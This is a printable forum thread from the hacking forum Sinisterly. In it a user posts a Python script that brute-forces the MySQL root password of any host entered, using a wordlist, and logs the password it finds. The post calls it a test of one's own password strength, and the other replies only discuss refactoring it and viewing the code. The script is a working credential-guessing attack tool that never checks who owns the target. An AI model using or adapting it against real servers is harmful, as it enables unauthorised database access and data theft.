Sinisterly
Bruteforce a mysql database with dictonnary - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Python (https://sinister.ly/Forum-Python)
+--- Thread: Bruteforce a mysql database with dictonnary (/Thread-Bruteforce-a-mysql-database-with-dictonnary)



Bruteforce a mysql database with dictonnary - hunt3r972 - 01-26-2014

This is a script to test if your mysql database password is strong enough. Just call the script and give your dictionnary in argument. I recommend to put the script in the same directory with the dictionnary and type:

python scryptname.py dictionnary.txt

Code:
#!/usr/bin/env python #RUN WITH python bruteforcedb.py dictionnarytouse import MySQLdb import sys import time import re dictionnaire=str(sys.argv[1]) #grabbing the dictionnary in argument nb_dic=len(sys.argv) #grabbing argument number if nb_dic == 1: print("You must give a dictionnary in argument") if nb_dic == 2: print ("Dictionnary used: "+dictionnaire) if nb_dic > 2: print ("You must give only one dictionnary in argument") t0 = time.clock() #taking time save=open("log.txt","wa") #Openning log file with open(dictionnaire) as f: host=raw_input("Host: ") for line in f: pass_test=line.rstrip("\r\n") #deleting line jumping try: lien_db=MySQLdb.connect(host=host, user="root", passwd=pass_test) #trying to connect to DB pass_test=pass_test #taking tested password cursor=lien_db.cursor() cursor.execute("SELECT VERSION()") #if connection is OK we take version number data_ver=cursor.fetchone() if data_ver is not None: #if we have a version number we keep the used password save.write("Password found: "+pass_test+"\n") lien_db.close() break except: pass t1 = time.clock() #taking time time_ex=t1-t0 #how many time was used ? save.write("Execution time: "+str(time_ex)+" seconds\n") #writing execution time to log def StrengtPassword(password): #Testing password strengt strength = ['Nulle','Very Low','Low','Medium', 'Strong', 'Very Strong'] score = 1 if len(password) < 1: return strength[0] if len(password) < 4: return strength[1] if len(password) >=8: score = score + 1 if len(password) >=10: score = score + 1 if re.search('[a-z]',password) and re.search('[A-Z]',password): score = score + 1 if re.search('[a-z]',password) and re.search('[A-Z]',password) and re.search('[0-9]',password): score = score + 1 return strength[score] save.write("Password complexity: "+StrengtPassword(pass_test)+"\n") #Writing in log save.write("Closing file") #Writing in log save.close() #Closing log file result=open("log.txt","r") #print results showresult=result.read() print (showresult)



RE: Bruteforce a mysql database with dictonnary - kenjoe41 - 01-27-2014

Wouldn't it be amazing if you had instead made it into a class so multiple instances can be called and can easily be ported to other projects.


RE: Bruteforce a mysql database with dictonnary - hunt3r972 - 01-27-2014

I don't really know, my developer skill is not good enough for this but you can tell me and we could try something


RE: Bruteforce a mysql database with dictonnary - jnoon - 01-28-2014

Unable to see the whole code .can anyone help with this


RE: Bruteforce a mysql database with dictonnary - kenjoe41 - 01-29-2014

Problem is you are using a phone and if you realise, their is a scroll button besides the code. try it elseget on a comp. browser.


RE: Bruteforce a mysql database with dictonnary - Ligeti - 01-30-2014

This is really interesting, thanks for sharing...

Peace


RE: Bruteforce a mysql database with dictonnary - hunt3r972 - 01-31-2014

No problem. It still have to be improved (for example kill the program when no password were found)